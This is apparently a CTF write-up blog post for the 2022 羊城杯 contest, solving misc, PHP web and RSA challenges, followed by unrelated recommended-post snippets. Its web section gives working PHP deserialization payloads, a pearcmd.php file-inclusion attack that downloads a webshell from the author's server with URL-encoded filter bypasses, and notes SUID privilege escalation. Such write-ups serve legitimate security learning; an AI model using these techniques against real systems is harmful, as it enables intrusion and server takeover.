羊城杯2022

羊城杯2022--Writeup 阅读详情

misc

签个到

image-20220903201407267

ciphey一把梭,caser13加base32

where_is_secret

image-20220904015047244

首先打开压缩包,有个文档和另外一个压缩包,大致看一眼猜测是词频分析,然后拿到quip和维吉尼亚的网站都跑一边,最后通过维吉尼亚拿到密码

image-20220904015206588

GWHT@R1nd0yyds

image-20220904015237578

out

打开里面发现是个bmp文件,里面全是像素点,比赛公告给出了这个图片的生成脚本如下

from PIL import Image
import math


def encode(text):
    str_len = len(text)
    width = math.ceil(str_len ** 0.5)
    im = Image.new("RGB", (width, width), 0x0)
    print(width)

    x, y = 0, 0
    for i in text:
        index = ord(i)
        rgb = (0, (index & 0xFF00) >> 8, index & 0xFF)
        im.putpixel((x, y), rgb)
        if x == width - 1:
            x = 0
            y += 1
        else:
            x += 1
    return im


if __name__ == '__main__':
    with open("829962.txt", encoding="gbk") as f:
        all_text = f.read()

        im = encode(all_text)
        im.save("out.bmp")

直接写出解密脚本

# -*- coding: utf-8 -*-
# @Time : 2022/9/3 22:48
# @Author : pysnow
from PIL import Image

im = Image.open('out.bmp')


def decode(enc):
    a, b = enc[1], enc[2]
    text = int((a << 8) & 0xFF00) + (b & 0xFF)
    return chr(text).encode('gbk')


f = open('1.txt', 'ab')
width, height = im.size
for j in range(0, width):
    for i in range(0, height):
        tmp = im.getpixel((i, j))
        index = decode(tmp)
        f.write(index)
        print(index, end='')
        # print(i, j)

    # print('')
f.close()

image-20220904015447382

得到一篇非常长的文章,然后标题里面有个单独的f,进行查找单个的字母发现刚好可以构成flag关键词,然后就是经过我的人工肉眼观察,最终提取出了flag如下

image-20220904015632938

flag{h1d3_1n_th3_p1ctur3}

web

Safepop

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
    public function __wakeup(){
        $this->func = '';
        die("Don't serialize me");
    }
}

class Test{
    public function getFlag(){
        system("cat /flag?");
    }
    public function __call($f,$p){
        phpinfo();
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A{
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B{
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $o = unserialize($pop);
    throw new Exception("no pop");
}

非常简单的反序列化,这里有两个点需要绕过

  • 不能直接通过A类对象跳转到Test类的任意方法
  • Fun类有死亡wakeup,导致不能执行__call方法里面的回调函数
  • 反序列化后面又throw抛出,导致无法进入B类的destruct方法

其中第一个问题可以通过Fun类对象的call_user_func回调函数进行静态调用任意A类的任意方法

第二个问题可以通过破坏序列化数据结构,让无法正常反序列化,从而先执行__call方法

第三个问题可以利用第二问题的解法

参考资料:https://blog.youkuaiyun.com/jvkyvly/article/details/120479559

最后给出payload如下

<?php
class Fun{
    private $func = 'call_user_func_array';
    
}

class Test{
}

class A{
    public $a;
}

class B{
    public $p;
}
// --------------------------------------------------------------------------
$fun1 = new Fun();

$a1 = new A();

$b1 = new B();

$test = new Test();

// --------------------------------------------------------------------------


$a1->a = $fun1;
$b1->a = $a1;
$b1->p = "Test::getFlag";    

$final = urlencode(serialize($b1));
echo $final;

image-20220903202113625

http://80.endpoint-e4ff305483b8474b9bf968f8b0008452.dasc.buuoj.cn:81/?pop=O%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A13%3A%22Test%3A%3AgetFlag%22%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A1%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Bs%3A20%3A%22call_user_func_array%22%3B%7D%7D

rce_me

题目:

<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
     $blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
         foreach($blacklist as $blackword){
           if(stristr($var, $blackword)) return False;
    }
    return True;
}  
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}

这里过滤了很多符号,但是由于是使用的$_SERVER["QUERY_STRING"]来检测,所以就可以直接用url编码绕过

  • 开始尝试读文件,发现flag权限不足,那就必须要RCE然后提权了
  • 尝试data伪协议,发现配置项没打开,不能使用data伪协议进行RCE
  • 根据waf提示,使用pearcmd进行上传shell
  • 最终使用pear download vps上传shell

image-20220903210332471

image-20220903210351017

使用python起了一个文件下载的服务,构造一个文件地址如下

http://vps:8000/pysnow%26file%3D/usr/local/lib/php/pearcmd.php

其中pearcmd的内容为一句话木马

然后构造payload如下

?file+download+http://vps:8000/pysnow&file=/usr/local/lib/php/pearcmd.php
// 过滤了pear关键词,索性直接把file=后面全部url编码
?file+download+http://vps:8000/pysnow&file=%2f%75%73%72%2f%6c%6f%63%61%6c%2f%6c%69%62%2f%70%68%70%2f%70%65%61%72%63%6d%64%2e%70%68%70

image-20220903210826869

文件下载成功,提示文件目录位置在/var/www/html/pysnow&file=%2f%75%73%72%2f%6c%6f%63%61%6c%2f%6c%69%62%2f%70%68%70%2f%70%65%61%72%63%6d%64%2e%70%68%70

因为这里下载的文件名就是编码后的文件名,所以这里要再次urlencode编码一下,不然浏览器会解析这个文件名中的url编码部分

?file=%70%79%73%6e%6f%77%26%66%69%6c%65%3d%25%32%66%25%37%35%25%37%33%25%37%32%25%32%66%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%32%66%25%36%63%25%36%39%25%36%32%25%32%66%25%37%30%25%36%38%25%37%30%25%32%66%25%37%30%25%36%35%25%36%31%25%37%32%25%36%33%25%36%64%25%36%34%25%32%65%25%37%30%25%36%38%25%37%30

image-20220903211050549

image-20220903211131021

蚁剑连接后这里可以看到有很多其他师傅们的战绩啊,这也是这道题的非预期解,直接扫描目录,然后骑别人的马

image-20220903211255505

最后使用date进行suid提权

step_by_step-v3

题目:

<?php
error_reporting(0);
class yang
{
    public $y1;

    public function __construct()
    {
        $this->y1->magic();
    }

    public function __tostring()
    {
        ($this->y1)();
    }

    public function hint()
    {
        include_once('hint.php');
        if(isset($_GET['file']))
        {
            $file = $_GET['file'];
            if(preg_match("/$hey_mean_then/is", $file))
            {
                die("nonono");
            }
            include_once($file);
        }
    }
}

class cheng
{
    public $c1;

    public function __wakeup()
    {
        $this->c1->flag = 'flag';
    }

    public function __invoke()
    {
        $this->c1->hint();
    }
}

class bei
{
    public $b1;
    public $b2;

    public function __set($k1,$k2)
    {
        print $this->b1;
    }

    public function __call($n1,$n2)
    {
        echo $this->b1;
    }
}

if (isset($_POST['ans'])) {
    unserialize($_POST['ans']);
} else {
    highlight_file(__FILE__);
}
?>

这道题很有迷惑题,当拿到这道题的时候,我就被这个hint方法给吸引住了,然后花了一分钟就把链子给写了出来,但是发现这个hey_mean_then绕过太狠了,简单的fuzz了一下,大概这种

/var|www|html|flag|host|data|decode|string|rot13|<|>|http|phar|"|'|[0-9]|/is

根本无从下手,想不出咋绕过,也不能读hint文件内容,因为var关键词被过滤了

然后当我再一次来看这道题的时候,我重新看了一下这个反序列化链子,发现有一个任意方法调用的地方

image-20220903222543951

之前我是直接让$this->y1的值为cheng类对象,进而拿到hint方法,脑瘫了,直接让他的值为hint不就行了。而且这里很显然是应该赋值给phpinfo

image-20220903222819313

结果发现flag就在环境变量李,giao

payload:

<?php
class yang
{
    public $y1;
}

class cheng
{
    public $c1;

}

class bei
{
    public $b1;	
    public $b2;

}

$y = new yang();
$y1 = new yang();

$ch = new cheng();
$ch2 = new cheng();

$bei = new bei();


// $ch2 -> c1 = $y1;
$y->y1 = "phpinfo";
$bei->b1 = $y;
$ch->c1 = $bei;


$final = serialize($ch);
echo $final;

Crypto

EasyRsa

import gmpy2
from Crypto.Util.number import *

e = 65537
c = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
f = open("output.txt", "r")
a = f.readlines()
n = []
for i in a:
    n.append(int(i))
for i in range(len(n)):
    j = len(n) - i - 1
    p = gmpy2.gcd(n[j], n[j - 1])
    q = n[j] // p
    ph = (p - 1) * (q - 1)
    d = gmpy2.invert(e, ph)
    c = gmpy2.powmod(c, d, n[j])
print(long_to_bytes(c))

2022年羊城杯wp 大赛由中共广州市委网络安全和信息化委员会办公室作为指导单位,广州市网络安全产业促进会主办,广东外语外贸大学、杭州安恒信息技术股份有限公司承办,广州市信息安全测评中心、广州互联网协会协办。 大赛以“网络安全为人民、网络安全靠人民”为主题,旨在通过竞赛的方式提高参赛选手攻防兼备的网络安全实践技能,实现以赛促学、以赛会友,加强不同院校及单位间的技术交流。 阅读详情

相关推荐

ServiceNowAPI:简单的Python实用程序和Web表单来调用ServiceNow API

ServiceNowAPI 简单的Python实用程序和Web表单来调用ServiceNow API 安装 将Python 3.X与“ requests”软件包一起安装在您的计算机上。 修改snow.py中API变量的默认值,然后将该文件放在Web服务器的/ cgi-bin(或其他适当的目录)下。 将snow.html和snow-top.html拖放到您的Web服务器或任何本地文件夹上。 (如果snow.py未保存在/ cgi-bin下,请确保根据需要更新snow-top.html中的“操作”。) 用法 只需打开snow.html,填写参数,然后单击提交!

PHP反序列化漏洞之产生原因(题目练习)

PHP反序列化漏洞之简单的题目练习

qq_60463414的博客 3532

[原创]Linux 802.11n CSI tool Monitor模式

Linux 802.11n CSI tool Monitor模式 使用AP模式的缺陷在于ping 命令速度比较慢,且不能精确控制发送的参数,比如接收的包数量是不可控的。Monitor模式可以调制发送速率、发包数量、发送天线个数、HT模式、short/long guard interval等等,因此调通Monitor模式是必须的。期间参考了博主沃一德的CSI Tool安装使用讲解,对他的工作表示感...

u014645508的博客 1万+

羊城杯 部分wp

羊城杯 wp

akxnxbshai的博客 763

【新华三】通过路由复制实现Public与VRF路由互通

如上图所示,S6900设备里有两张表,一张是public路由表,默认所有的路由都存放在public路由表里;除此之外还创建了VRF test,因此此设备还有VRF test路由表。通过路由复制实现Public路由和VRF路由互通,默认情况下VRF里的路由单独一张路由表,默认情况下与public路由表相互隔离,两张表之间不可互访。此时的public路由表里面并没有test的路由表。public路由表与VRF路由表之间相互隔离。此时VRF test里的路由也没有其他VRF或Public里的路由,相互隔离。

五大连池的镜子 5281

材料仿真软件:LAMMPS_(8).温度和压力控制

在 LAMMPS 中,温度和压力的控制是通过多种恒温器和恒压器实现的。Nose-Hoover 恒温器和恒压器因其准确性和广泛适用性而被经常使用,而 Berendsen 恒温器和恒压器则因其计算效率高而适用于初步仿真或粗粒化模型。温度重标和压力重标方法虽然简单,但在某些情况下可以快速调整系统的温度和压力。通过选择合适的控制方法,可以根据具体的需求和系统特性来设计和运行分子动力学仿真,从而获得准确和可靠的结果。在实际应用中,建议先进行初步的仿真以确定合适的控制参数,然后再进行细致的仿真以验证结果的稳定性。

kkchenjj的博客 1695

代码执行与命令执行

代码执行与命令注入0x01 代码执行1.eval2.assert3.call_user_func4.call_user_fuc_array5.create_function6.preg_replace7.array_map8.array_filter9.usort10.${}0x02 命令执行1.system2.exec3.passthru4.shell_exec5.反引号6.ob_start0x...

weixin_40950781的博客 1357

【WRF-Urban】使用 NUDAPT 数据集与 BEP/BEP_BEM 方案的 WRF 配置指南

【WRF-Urban】使用 NUDAPT 数据集与 BEP/BEP_BEM 方案的 WRF 配置指南

WW、forever的博客 1964

BeginCTF2024 wp web&&misc

php反序列化,源码如下;B::__destruct()作为开头,调用A不存在的变量,触发A::__get(),调用Fun不存在的方法,触发__call的回调函数执行phpinfo,flag在phpinfo中;

永不落的梦想 1338

【Power Compiler手册】4.saif文件

功耗计算的准确性取决于切换活动数据的准确性。这些数据是通过使用RTL仿真或门级仿真生成的,并存储在SAIF文件中。在执行功耗优化和分析之前,应该使用SAIF文件来反标设计对象上的切换活动信息。SAIF是由Synopsys支持的ASCII格式,用于促进不同Synopsys工具之间的信息交换(参见IEEE 1801标准,附录J)。使用`read_saif`命令读取SAIF文件,使用`write_saif`命令写出SAIF文件。有关更多信息,请参见`read_saif`和`write_saif`命令的手册页。

QRBQ 2188

SSD |(二)SSD主控

控制器作为一个片上系统,处理来自用户端的命令并负责管理闪存颗粒。

知识库搭建ing 1965

beginCTF 2024 Web方向题解WP 全

beginCTF 2024 Web方向题解WP 全

Jay17的博客 3366

Matlab 轴承信号仿真+分析

文章目录项目说明1、信号仿真1.1 仿真公式1.2 信号参数设置1.3 代码实现2、仿真信号分析2.1 小波变换2.2 快速谱峭度 项目说明 本文主要解决两个问题: 1、仿真包含周期性冲击信号、随机干扰冲击信号、调制干扰信号以及随机噪声四个成分的故障轴承信号; 2、使用小波变换以及快速谱峭度对该仿真信号进行分析。 1、信号仿真 1.1 仿真公式 这里的仿真信号公式主要参考了包文杰学者的硕士论文《加权谱峭度故障诊断方法研究与应用》,列举公式如下: 周期性冲击信号仿真 随机干扰冲击信号仿真 调制

cocofisher的博客 9269

羊城杯2022 MISC 复现

附件打开是一个套了几百层的压缩包,多点几层可以看到有的压缩包的注释中是有内容的,所以这里实际上要提取注释中的内容。其他师傅写的WP上说是所有文件的特征都是error,所以要提取extra值(实际上我不懂)分析之后发现图片并没有什么用,反而是flag.zip文件末尾发现另一个隐藏的zip文件。压缩包最后打开的flag.txt没什么用,我们需要的是newfile.zip。这里借用其他师傅的脚本,把注释中的内容提取后组成一个新的压缩包。运行之后的flag.zip里开出一个archer.jpg。

xxfsa的博客 482

CAMERALINK硬件封装说明

闲言少叙,直接上活,Cameralink硬件接口当前主要分为MDR26和SDR26两种,其中MDR对应封装较大价格比较便宜,SDR对应尺寸较小价格比较贵,这点我个人总是记错的图1 MDR26实物图图2 SDR26实物图。

6172

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

羊城杯2022 部分题解

羊城杯2022 部分题解

weixin_51122085的博客 3028

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

【pwn】2022 羊城杯 fakeNoOutput

2022 羊城杯 fakeNoOutput

woodwhale的博客 544

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

羊城杯2022 WriteUp

羊城杯2022。

211

【2022羊城杯WriteUp By EDISEC】

2022羊城杯WriteUp By EDISEC

qq_45603443的博客 4252

2022羊城杯密码wp

2022羊城杯密码wp

mxx307的博客 1485

2022 羊城杯 复现

2022 羊城杯 复现

Pai_Space 641

2022羊城杯 misc 迷失幻境 wp

misc迷失幻境( •̀ ω •́ )y 前天打了一下羊城杯 觉的这个题挺有意思的 所以今天再给各位兄台复现一边(里面有可莉哦)( •̀ ω •́ )y

路baby的博客 1048

2022羊城杯pwn wp

2022羊城杯pwn

N1rvana的博客 1119

羊城杯2022 部分misc writeup

羊城杯2022 部分misc writeup

wha1e的博客 1260

羊城杯2022 部分web

pearcmd.php文件包含,过滤了常用的几个命令选项,但还有个download。写个马丢到vps上,pear的过滤使用url编码绕过。

weixin_43610673的博客 997

2022羊城杯 web三题

2022羊城杯wp

m0_55042131的博客 1538
上一篇: 网鼎杯2022青龙组
下一篇: MTCTF2022 WP
Pysnow
博客等级 码龄5年 44粉丝 25原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值